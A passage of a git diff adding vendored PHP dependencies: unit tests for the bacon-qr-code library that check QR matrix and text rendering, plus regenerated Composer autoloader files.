$this->assertEquals(-1, $matrix->get(1, 1)); + } + + public function testEmbedBasicPatterns1() + { + $matrix = new ByteMatrix(21, 21); + MatrixUtil::clearMatrix($matrix); + $this->methods['embedBasicPatterns']->invoke( + null, + Version::getVersionForNumber(1), + $matrix + ); + $expected = " 1 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1\n" + . " 1 0 0 0 0 0 1 0 0 1 0 0 0 0 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 0 0 0 0 1 0 0 1 0 0 0 0 0 1\n" + . " 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1\n" + . " 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 \n" + . " 0 \n" + . " 1 \n" + . " 0 \n" + . " 1 \n" + . " 0 0 0 0 0 0 0 0 1 \n" + . " 1 1 1 1 1 1 1 0 \n" + . " 1 0 0 0 0 0 1 0 \n" + . " 1 0 1 1 1 0 1 0 \n" + . " 1 0 1 1 1 0 1 0 \n" + . " 1 0 1 1 1 0 1 0 \n" + . " 1 0 0 0 0 0 1 0 \n" + . " 1 1 1 1 1 1 1 0 \n"; + + $this->assertEquals($expected, $matrix->__toString()); + } + + public function testEmbedBasicPatterns2() + { + $matrix = new ByteMatrix(25, 25); + MatrixUtil::clearMatrix($matrix); + $this->methods['embedBasicPatterns']->invoke( + null, + Version::getVersionForNumber(2), + $matrix + ); + $expected = " 1 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1\n" + . " 1 0 0 0 0 0 1 0 0 1 0 0 0 0 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 0 0 0 0 1 0 0 1 0 0 0 0 0 1\n" + . " 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1\n" + . " 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 \n" + . " 0 \n" + . " 1 \n" + . " 0 \n" + . " 1 \n" + . " 0 \n" + . " 1 \n" + . " 0 \n" + . " 1 1 1 1 1 1 \n" + . " 0 0 0 0 0 0 0 0 1 1 0 0 0 1 \n" + . " 1 1 1 1 1 1 1 0 1 0 1 0 1 \n" + . " 1 0 0 0 0 0 1 0 1 0 0 0 1 \n" + . " 1 0 1 1 1 0 1 0 1 1 1 1 1 \n" + . " 1 0 1 1 1 0 1 0 \n" + . " 1 0 1 1 1 0 1 0 \n" + . " 1 0 0 0 0 0 1 0 \n" + . " 1 1 1 1 1 1 1 0 \n"; + + $this->assertEquals($expected, $matrix->__toString()); + } + + public function testEmbedTypeInfo() + { + $matrix = new ByteMatrix(21, 21); + MatrixUtil::clearMatrix($matrix); + $this->methods['embedTypeInfo']->invoke( + null, + new ErrorCorrectionLevel(ErrorCorrectionLevel::M), + 5, + $matrix + ); + $expected = " 0 \n" + . " 1 \n" + . " 1 \n" + . " 1 \n" + . " 0 \n" + . " 0 \n" + . " \n" + . " 1 \n" + . " 1 0 0 0 0 0 0 1 1 1 0 0 1 1 1 0\n" + . " \n" + . " \n" + . " \n" + . " \n" + . " \n" + . " 0 \n" + . " 0 \n" + . " 0 \n" + . " 0 \n" + . " 0 \n" + . " 0 \n" + . " 1 \n"; + + $this->assertEquals($expected, $matrix->__toString()); + } + + public function testEmbedVersionInfo() + { + $matrix = new ByteMatrix(21, 21); + MatrixUtil::clearMatrix($matrix); + $this->methods['maybeEmbedVersionInfo']->invoke( + null, + Version::getVersionForNumber(7), + $matrix + ); + $expected = " 0 0 1 \n" + . " 0 1 0 \n" + . " 0 1 0 \n" + . " 0 1 1 \n" + . " 1 1 1 \n" + . " 0 0 0 \n" + . " \n" + . " \n" + . " \n" + . " \n" + . " 0 0 0 0 1 0 \n" + . " 0 1 1 1 1 0 \n" + . " 1 0 0 1 1 0 \n" + . " \n" + . " \n" + . " \n" + . " \n" + . " \n" + . " \n" + . " \n" + . " \n"; + + $this->assertEquals($expected, $matrix->__toString()); + } + + public function testEmbedDataBits() + { + $matrix = new ByteMatrix(21, 21); + MatrixUtil::clearMatrix($matrix); + $this->methods['embedBasicPatterns']->invoke( + null, + Version::getVersionForNumber(1), + $matrix + ); + + $bits = new BitArray(); + $this->methods['embedDataBits']->invoke( + null, + $bits, + -1, + $matrix + ); + + $expected = " 1 1 1 1 1 1 1 0 0 0 0 0 0 0 1 1 1 1 1 1 1\n" + . " 1 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 1\n" + . " 1 0 1 1 1 0 1 0 0 0 0 0 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 0 0 0 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 0 0 0 0 0 1 0 1 1 1 0 1\n" + . " 1 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 1\n" + . " 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1\n" + . " 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 0 1 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 0 1 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 0 1 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n" + . " 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n"; + + $this->assertEquals($expected, $matrix->__toString()); + } + + public function testBuildMatrix() + { + $bytes = array( + 32, 65, 205, 69, 41, 220, 46, 128, 236, 42, 159, 74, 221, 244, 169, + 239, 150, 138, 70, 237, 85, 224, 96, 74, 219 , 61 + ); + $bits = new BitArray(); + + foreach ($bytes as $byte) { + $bits->appendBits($byte, 8); + } + + $matrix = new ByteMatrix(21, 21); + MatrixUtil::buildMatrix( + $bits, + new ErrorCorrectionLevel(ErrorCorrectionLevel::H), + Version::getVersionForNumber(1), + 3, + $matrix + ); + + $expected = " 1 1 1 1 1 1 1 0 0 1 1 0 0 0 1 1 1 1 1 1 1\n" + . " 1 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 1\n" + . " 1 0 1 1 1 0 1 0 0 0 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 1 0 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 1 1 0 0 1 0 1 0 1 1 1 0 1\n" + . " 1 0 0 0 0 0 1 0 0 0 1 1 1 0 1 0 0 0 0 0 1\n" + . " 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1\n" + . " 0 0 0 0 0 0 0 0 1 1 0 1 1 0 0 0 0 0 0 0 0\n" + . " 0 0 1 1 0 0 1 1 1 0 0 1 1 1 1 0 1 0 0 0 0\n" + . " 1 0 1 0 1 0 0 0 0 0 1 1 1 0 0 1 0 1 1 1 0\n" + . " 1 1 1 1 0 1 1 0 1 0 1 1 1 0 0 1 1 1 0 1 0\n" + . " 1 0 1 0 1 1 0 1 1 1 0 0 1 1 1 0 0 1 0 1 0\n" + . " 0 0 1 0 0 1 1 1 0 0 0 0 0 0 1 0 1 1 1 1 1\n" + . " 0 0 0 0 0 0 0 0 1 1 0 1 0 0 0 0 0 1 0 1 1\n" + . " 1 1 1 1 1 1 1 0 1 1 1 1 0 0 0 0 1 0 1 1 0\n" + . " 1 0 0 0 0 0 1 0 0 0 0 1 0 1 1 1 0 0 0 0 0\n" + . " 1 0 1 1 1 0 1 0 0 1 0 0 1 1 0 0 1 0 0 1 1\n" + . " 1 0 1 1 1 0 1 0 1 1 0 1 0 0 0 0 0 1 1 1 0\n" + . " 1 0 1 1 1 0 1 0 1 1 1 1 0 0 0 0 1 1 1 0 0\n" + . " 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 1 0 1 0 0\n" + . " 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 0 1 0 0 1 0\n"; + + $this->assertEquals($expected, $matrix->__toString()); + } + + public function testFindMsbSet() + { + $this->assertEquals(0, $this->methods['findMsbSet']->invoke(null, 0)); + $this->assertEquals(1, $this->methods['findMsbSet']->invoke(null, 1)); + $this->assertEquals(8, $this->methods['findMsbSet']->invoke(null, 0x80)); + $this->assertEquals(32, $this->methods['findMsbSet']->invoke(null, 0x80000000)); + } + + public function testCalculateBchCode() + { + // Encoding of type information. + // From Appendix C in JISX0510:2004 (p 65) + $this->assertEquals(0xdc, $this->methods['calculateBchCode']->invoke(null, 5, 0x537)); + // From http://www.swetake.com/qr/qr6.html + $this->assertEquals(0x1c2, $this->methods['calculateBchCode']->invoke(null, 0x13, 0x537)); + // From http://www.swetake.com/qr/qr11.html + $this->assertEquals(0x214, $this->methods['calculateBchCode']->invoke(null, 0x1b, 0x537)); + + // Encoding of version information. + // From Appendix D in JISX0510:2004 (p 68) + $this->assertEquals(0xc94, $this->methods['calculateBchCode']->invoke(null, 7, 0x1f25)); + $this->assertEquals(0x5bc, $this->methods['calculateBchCode']->invoke(null, 8, 0x1f25)); + $this->assertEquals(0xa99, $this->methods['calculateBchCode']->invoke(null, 9, 0x1f25)); + $this->assertEquals(0x4d3, $this->methods['calculateBchCode']->invoke(null, 10, 0x1f25)); + $this->assertEquals(0x9a6, $this->methods['calculateBchCode']->invoke(null, 20, 0x1f25)); + $this->assertEquals(0xd75, $this->methods['calculateBchCode']->invoke(null, 30, 0x1f25)); + $this->assertEquals(0xc69, $this->methods['calculateBchCode']->invoke(null, 40, 0x1f25)); + } + + public function testMakeVersionInfoBits() + { + // From Appendix D in JISX0510:2004 (p 68) + $bits = new BitArray(); + $this->methods['makeVersionInfoBits']->invoke(null, Version::getVersionForNumber(7), $bits); + $this->assertEquals(' ...XXXXX ..X..X.X ..', $bits->__toString()); + } + + public function testMakeTypeInfoBits() + { + // From Appendix D in JISX0510:2004 (p 68) + $bits = new BitArray(); + $this->methods['makeTypeInfoBits']->invoke(null, new ErrorCorrectionLevel(ErrorCorrectionLevel::M), 5, $bits); + $this->assertEquals(' X......X X..XXX.', $bits->__toString()); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/HtmlTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/HtmlTest.php new file mode 100644 index 00000000..0c69dd2e --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/HtmlTest.php @@ -0,0 +1,99 @@ +renderer = new Html(); + $this->writer = new Writer($this->renderer); + } + + public function testBasicRender() + { + $content = 'foobar'; + $expected = + '
' .
+            "                       \n" .
+            " ███████ █████ ███████ \n" .
+            " █     █  █ █  █     █ \n" .
+            " █ ███ █  ██   █ ███ █ \n" .
+            " █ ███ █  ███  █ ███ █ \n" .
+            " █ ███ █   █ █ █ ███ █ \n" .
+            " █     █    ██ █     █ \n" .
+            " ███████ █ █ █ ███████ \n" .
+            "         █████         \n" .
+            " ██ ██ █  ██ █ █     █ \n" .
+            "    ██    ██ █ █ ██    \n" .
+            "  ████████ █  ██ █  ██ \n" .
+            "           ██      █ █ \n" .
+            "  ██  ███  █   █  █  █ \n" .
+            "         █ ███    █ █  \n" .
+            " ███████  ██ ██████    \n" .
+            " █     █   ████   ██   \n" .
+            " █ ███ █ ██ ██ ██ █ ██ \n" .
+            " █ ███ █ ██ ██  █ ██   \n" .
+            " █ ███ █   █   █ ██ ██ \n" .
+            " █     █ ███  ███ ████ \n" .
+            " ███████ ████   ██     \n" .
+            "                       \n" .
+            '
' + ; + + $qrCode = Encoder::encode( + $content, + new ErrorCorrectionLevel(ErrorCorrectionLevel::L), + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->assertEquals($expected, $this->renderer->render($qrCode)); + } + + public function testSetStyle() + { + $content = 'foobar'; + $qrCode = Encoder::encode( + $content, + new ErrorCorrectionLevel(ErrorCorrectionLevel::L), + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->renderer->setStyle('bar'); + $this->assertEquals('bar', $this->renderer->getStyle()); + $this->assertStringMatchesFormat('%astyle="bar"%a', $this->renderer->render($qrCode)); + } + + public function testSetClass() + { + $content = 'foobar'; + $qrCode = Encoder::encode( + $content, + new ErrorCorrectionLevel(ErrorCorrectionLevel::L), + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->renderer->setClass('bar'); + $this->assertEquals('bar', $this->renderer->getClass()); + $this->assertStringMatchesFormat('%aclass="bar"%a', $this->renderer->render($qrCode)); + } +} diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/TextTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/TextTest.php new file mode 100644 index 00000000..d94e8e5d --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/TextTest.php @@ -0,0 +1,149 @@ +renderer = new Plain(); + $this->writer = new Writer($this->renderer); + } + + public function testBasicRender() + { + $content = 'foobar'; + $expected = + " \n" . + " ███████ █████ ███████ \n" . + " █ █ █ █ █ █ \n" . + " █ ███ █ ██ █ ███ █ \n" . + " █ ███ █ ███ █ ███ █ \n" . + " █ ███ █ █ █ █ ███ █ \n" . + " █ █ ██ █ █ \n" . + " ███████ █ █ █ ███████ \n" . + " █████ \n" . + " ██ ██ █ ██ █ █ █ \n" . + " ██ ██ █ █ ██ \n" . + " ████████ █ ██ █ ██ \n" . + " ██ █ █ \n" . + " ██ ███ █ █ █ █ \n" . + " █ ███ █ █ \n" . + " ███████ ██ ██████ \n" . + " █ █ ████ ██ \n" . + " █ ███ █ ██ ██ ██ █ ██ \n" . + " █ ███ █ ██ ██ █ ██ \n" . + " █ ███ █ █ █ ██ ██ \n" . + " █ █ ███ ███ ████ \n" . + " ███████ ████ ██ \n" . + " \n" + ; + + $qrCode = Encoder::encode( + $content, + new ErrorCorrectionLevel(ErrorCorrectionLevel::L), + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->assertEquals($expected, $this->renderer->render($qrCode)); + } + + public function testBasicRenderNoMargins() + { + $content = 'foobar'; + $expected = + "███████ █████ ███████\n" . + "█ █ █ █ █ █\n" . + "█ ███ █ ██ █ ███ █\n" . + "█ ███ █ ███ █ ███ █\n" . + "█ ███ █ █ █ █ ███ █\n" . + "█ █ ██ █ █\n" . + "███████ █ █ █ ███████\n" . + " █████ \n" . + "██ ██ █ ██ █ █ █\n" . + " ██ ██ █ █ ██ \n" . + " ████████ █ ██ █ ██\n" . + " ██ █ █\n" . + " ██ ███ █ █ █ █\n" . + " █ ███ █ █ \n" . + "███████ ██ ██████ \n" . + "█ █ ████ ██ \n" . + "█ ███ █ ██ ██ ██ █ ██\n" . + "█ ███ █ ██ ██ █ ██ \n" . + "█ ███ █ █ █ ██ ██\n" . + "█ █ ███ ███ ████\n" . + "███████ ████ ██ \n" + ; + + $qrCode = Encoder::encode( + $content, + new ErrorCorrectionLevel(ErrorCorrectionLevel::L), + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->renderer->setMargin(0); + $this->assertEquals(0, $this->renderer->getMargin()); + $this->assertEquals($expected, $this->renderer->render($qrCode)); + } + + public function testBasicRenderCustomChar() + { + $content = 'foobar'; + $expected = + "-----------------------\n" . + "-#######-#####-#######-\n" . + "-#-----#--#-#--#-----#-\n" . + "-#-###-#--##---#-###-#-\n" . + "-#-###-#--###--#-###-#-\n" . + "-#-###-#---#-#-#-###-#-\n" . + "-#-----#----##-#-----#-\n" . + "-#######-#-#-#-#######-\n" . + "---------#####---------\n" . + "-##-##-#--##-#-#-----#-\n" . + "----##----##-#-#-##----\n" . + "--########-#--##-#--##-\n" . + "-----------##------#-#-\n" . + "--##--###--#---#--#--#-\n" . + "---------#-###----#-#--\n" . + "-#######--##-######----\n" . + "-#-----#---####---##---\n" . + "-#-###-#-##-##-##-#-##-\n" . + "-#-###-#-##-##--#-##---\n" . + "-#-###-#---#---#-##-##-\n" . + "-#-----#-###--###-####-\n" . + "-#######-####---##-----\n" . + "-----------------------\n" + ; + + $qrCode = Encoder::encode( + $content, + new ErrorCorrectionLevel(ErrorCorrectionLevel::L), + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->renderer->setFullBlock('#'); + $this->renderer->setEmptyBlock('-'); + $this->assertEquals('#', $this->renderer->getFullBlock()); + $this->assertEquals('-', $this->renderer->getEmptyBlock()); + $this->assertEquals($expected, $this->renderer->render($qrCode)); + } +} diff --git a/vendor/bacon/bacon-qr-code/tests/bootstrap.php b/vendor/bacon/bacon-qr-code/tests/bootstrap.php new file mode 100644 index 00000000..05a49415 --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/bootstrap.php @@ -0,0 +1,10 @@ + + + + . + + + + ../src/ + + + diff --git a/vendor/classpreloader/classpreloader/.github/FUNDING.yml b/vendor/classpreloader/classpreloader/.github/FUNDING.yml new file mode 100644 index 00000000..581f4146 --- /dev/null +++ b/vendor/classpreloader/classpreloader/.github/FUNDING.yml @@ -0,0 +1,2 @@ +github: GrahamCampbell +tidelift: "packagist/classpreloader/classpreloader" diff --git a/vendor/composer/ClassLoader.php b/vendor/composer/ClassLoader.php index afef3fa2..03b9bb9c 100644 --- a/vendor/composer/ClassLoader.php +++ b/vendor/composer/ClassLoader.php @@ -37,80 +37,26 @@ * * @author Fabien Potencier * @author Jordi Boggiano - * @see https://www.php-fig.org/psr/psr-0/ - * @see https://www.php-fig.org/psr/psr-4/ + * @see http://www.php-fig.org/psr/psr-0/ + * @see http://www.php-fig.org/psr/psr-4/ */ class ClassLoader { - /** @var ?string */ - private $vendorDir; - // PSR-4 - /** - * @var array[] - * @psalm-var array> - */ private $prefixLengthsPsr4 = array(); - /** - * @var array[] - * @psalm-var array> - */ private $prefixDirsPsr4 = array(); - /** - * @var array[] - * @psalm-var array - */ private $fallbackDirsPsr4 = array(); // PSR-0 - /** - * @var array[] - * @psalm-var array> - */ private $prefixesPsr0 = array(); - /** - * @var array[] - * @psalm-var array - */ private $fallbackDirsPsr0 = array(); - /** @var bool */ private $useIncludePath = false; - - /** - * @var string[] - * @psalm-var array - */ private $classMap = array(); - - /** @var bool */ private $classMapAuthoritative = false; - - /** - * @var bool[] - * @psalm-var array - */ private $missingClasses = array(); - - /** @var ?string */ private $apcuPrefix; - /** - * @var self[] - */ - private static $registeredLoaders = array(); - - /** - * @param ?string $vendorDir - */ - public function __construct($vendorDir = null) - { - $this->vendorDir = $vendorDir; - } - - /** - * @return string[] - */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { @@ -120,47 +66,28 @@ public function getPrefixes() return array(); } - /** - * @return array[] - * @psalm-return array> - */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } - /** - * @return array[] - * @psalm-return array - */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } - /** - * @return array[] - * @psalm-return array - */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } - /** - * @return string[] Array of classname => path - * @psalm-return array - */ public function getClassMap() { return $this->classMap; } /** - * @param string[] $classMap Class to filename map - * @psalm-param array $classMap - * - * @return void + * @param array $classMap Class to filename map */ public function addClassMap(array $classMap) { @@ -175,11 +102,9 @@ public function addClassMap(array $classMap) * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * - * @param string $prefix The prefix - * @param string[]|string $paths The PSR-0 root directories - * @param bool $prepend Whether to prepend the directories - * - * @return void + * @param string $prefix The prefix + * @param array|string $paths The PSR-0 root directories + * @param bool $prepend Whether to prepend the directories */ public function add($prefix, $paths, $prepend = false) { @@ -222,13 +147,11 @@ public function add($prefix, $paths, $prepend = false) * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param string[]|string $paths The PSR-4 base directories - * @param bool $prepend Whether to prepend the directories + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param array|string $paths The PSR-4 base directories + * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException - * - * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { @@ -272,10 +195,8 @@ public function addPsr4($prefix, $paths, $prepend = false) * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * - * @param string $prefix The prefix - * @param string[]|string $paths The PSR-0 base directories - * - * @return void + * @param string $prefix The prefix + * @param array|string $paths The PSR-0 base directories */ public function set($prefix, $paths) { @@ -290,12 +211,10 @@ public function set($prefix, $paths) * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param string[]|string $paths The PSR-4 base directories + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param array|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException - * - * @return void */ public function setPsr4($prefix, $paths) { @@ -315,8 +234,6 @@ public function setPsr4($prefix, $paths) * Turns on searching the include path for class files. * * @param bool $useIncludePath - * - * @return void */ public function setUseIncludePath($useIncludePath) { @@ -339,8 +256,6 @@ public function getUseIncludePath() * that have not been registered with the class map. * * @param bool $classMapAuthoritative - * - * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { @@ -361,8 +276,6 @@ public function isClassMapAuthoritative() * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix - * - * @return void */ public function setApcuPrefix($apcuPrefix) { @@ -383,44 +296,25 @@ public function getApcuPrefix() * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not - * - * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); - - if (null === $this->vendorDir) { - return; - } - - if ($prepend) { - self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; - } else { - unset(self::$registeredLoaders[$this->vendorDir]); - self::$registeredLoaders[$this->vendorDir] = $this; - } } /** * Unregisters this instance as an autoloader. - * - * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); - - if (null !== $this->vendorDir) { - unset(self::$registeredLoaders[$this->vendorDir]); - } } /** * Loads the given class or interface. * * @param string $class The name of the class - * @return true|null True if loaded, null otherwise + * @return bool|null True if loaded, null otherwise */ public function loadClass($class) { @@ -429,8 +323,6 @@ public function loadClass($class) return true; } - - return null; } /** @@ -475,21 +367,6 @@ public function findFile($class) return $file; } - /** - * Returns the currently registered loaders indexed by their corresponding vendor directories. - * - * @return self[] - */ - public static function getRegisteredLoaders() - { - return self::$registeredLoaders; - } - - /** - * @param string $class - * @param string $ext - * @return string|false - */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup @@ -561,10 +438,6 @@ private function findFileWithExtension($class, $ext) * Scope isolated include. * * Prevents access to $this/self from included files. - * - * @param string $file - * @return void - * @private */ function includeFile($file) { diff --git a/vendor/composer/autoload_classmap.php b/vendor/composer/autoload_classmap.php index abdf9ccb..b3f6fd36 100644 --- a/vendor/composer/autoload_classmap.php +++ b/vendor/composer/autoload_classmap.php @@ -8,7 +8,6 @@ return array( 'ArithmeticError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/ArithmeticError.php', 'AssertionError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/AssertionError.php', - 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', 'CreateAdmin' => $baseDir . '/database/migrations/2015_12_18_164253_create_admin.php', 'CreateAdminLog' => $baseDir . '/database/migrations/2018_06_08_000000_create_admin_log.php', 'CreateAdminUpload' => $baseDir . '/database/migrations/2017_05_12_000000_create_admin_upload.php', diff --git a/vendor/composer/autoload_files.php b/vendor/composer/autoload_files.php index 317311ed..1afcbadc 100644 --- a/vendor/composer/autoload_files.php +++ b/vendor/composer/autoload_files.php @@ -17,16 +17,16 @@ 'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php', '023d27dca8066ef29e6739335ea73bad' => $vendorDir . '/symfony/polyfill-php70/bootstrap.php', '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php', + '2cffec82183ee1cea088009cef9a6fc3' => $vendorDir . '/ezyang/htmlpurifier/library/HTMLPurifier.composer.php', 'c964ee0ededf28c96ebd9db5099ef910' => $vendorDir . '/guzzlehttp/promises/src/functions_include.php', 'f598d06aa772fa33d905e87be6398fb1' => $vendorDir . '/symfony/polyfill-intl-idn/bootstrap.php', - '313a9b01f294d730dfc8ff43b9e56416' => $vendorDir . '/w7corp/easywechat/src/Kernel/Support/Helpers.php', - '8cfe2b61cc956a1edbaf214308e8c9a1' => $vendorDir . '/w7corp/easywechat/src/Kernel/Helpers.php', - '2cffec82183ee1cea088009cef9a6fc3' => $vendorDir . '/ezyang/htmlpurifier/library/HTMLPurifier.composer.php', '65fec9ebcfbb3cbb4fd0d519687aea01' => $vendorDir . '/danielstjules/stringy/src/Create.php', '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php', '5e8fe2a5ffaded85af682684fe3bbf5a' => $vendorDir . '/mews/captcha/src/helpers.php', '05bd88eab6627efe378f45b89642a123' => $vendorDir . '/modstart/modstart/src/helpers.php', 'e7223560d890eab89cda23685e711e2c' => $vendorDir . '/psy/psysh/src/Psy/functions.php', + '313a9b01f294d730dfc8ff43b9e56416' => $vendorDir . '/w7corp/easywechat/src/Kernel/Support/Helpers.php', + '8cfe2b61cc956a1edbaf214308e8c9a1' => $vendorDir . '/w7corp/easywechat/src/Kernel/Helpers.php', 'f0906e6318348a765ffb6eb24e0d0938' => $vendorDir . '/laravel/framework/src/Illuminate/Foundation/helpers.php', '58571171fd5812e6e447dce228f52f4d' => $vendorDir . '/laravel/framework/src/Illuminate/Support/helpers.php', ); diff --git a/vendor/composer/autoload_namespaces.php b/vendor/composer/autoload_namespaces.php index 0ffdca53..94ea9611 100644 --- a/vendor/composer/autoload_namespaces.php +++ b/vendor/composer/autoload_namespaces.php @@ -15,7 +15,6 @@ 'HTMLPurifier' => array($vendorDir . '/ezyang/htmlpurifier/library'), 'Dotenv' => array($vendorDir . '/vlucas/phpdotenv/src'), 'Doctrine\\DBAL\\' => array($vendorDir . '/doctrine/dbal/lib'), - 'Doctrine\\Common\\Inflector\\' => array($vendorDir . '/doctrine/inflector/lib'), 'Doctrine\\Common\\Collections\\' => array($vendorDir . '/doctrine/collections/lib'), 'Detection' => array($vendorDir . '/mobiledetect/mobiledetectlib/namespaced'), 'BaconQrCode' => array($vendorDir . '/bacon/bacon-qr-code/src'), diff --git a/vendor/composer/autoload_psr4.php b/vendor/composer/autoload_psr4.php index 91efa103..de7f431d 100644 --- a/vendor/composer/autoload_psr4.php +++ b/vendor/composer/autoload_psr4.php @@ -55,6 +55,7 @@ 'EasyWeChat\\' => array($vendorDir . '/w7corp/easywechat/src'), 'EasyWeChatComposer\\' => array($vendorDir . '/easywechat-composer/easywechat-composer/src'), 'Doctrine\\Common\\Lexer\\' => array($vendorDir . '/doctrine/lexer/lib/Doctrine/Common/Lexer'), + 'Doctrine\\Common\\Inflector\\' => array($vendorDir . '/doctrine/inflector/lib/Doctrine/Common/Inflector'), 'Doctrine\\Common\\Cache\\' => array($vendorDir . '/doctrine/cache/lib/Doctrine/Common/Cache'), 'Doctrine\\Common\\Annotations\\' => array($vendorDir . '/doctrine/annotations/lib/Doctrine/Common/Annotations'), 'Doctrine\\Common\\' => array($vendorDir . '/doctrine/common/lib/Doctrine/Common'), diff --git a/vendor/composer/autoload_real.php b/vendor/composer/autoload_real.php index f3321a43..d7ee4f60 100644 --- a/vendor/composer/autoload_real.php +++ b/vendor/composer/autoload_real.php @@ -22,15 +22,13 @@ public static function getLoader() return self::$loader; } - require __DIR__ . '/platform_check.php'; - spl_autoload_register(array('ComposerAutoloaderInitd9dfa293e502aa9fb214fcd69d39a39d', 'loadClassLoader'), true, true); - self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__))); + self::$loader = $loader = new \Composer\Autoload\ClassLoader(); spl_autoload_unregister(array('ComposerAutoloaderInitd9dfa293e502aa9fb214fcd69d39a39d', 'loadClassLoader')); $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); if ($useStaticLoader) { - require __DIR__ . '/autoload_static.php'; + require_once __DIR__ . '/autoload_static.php'; 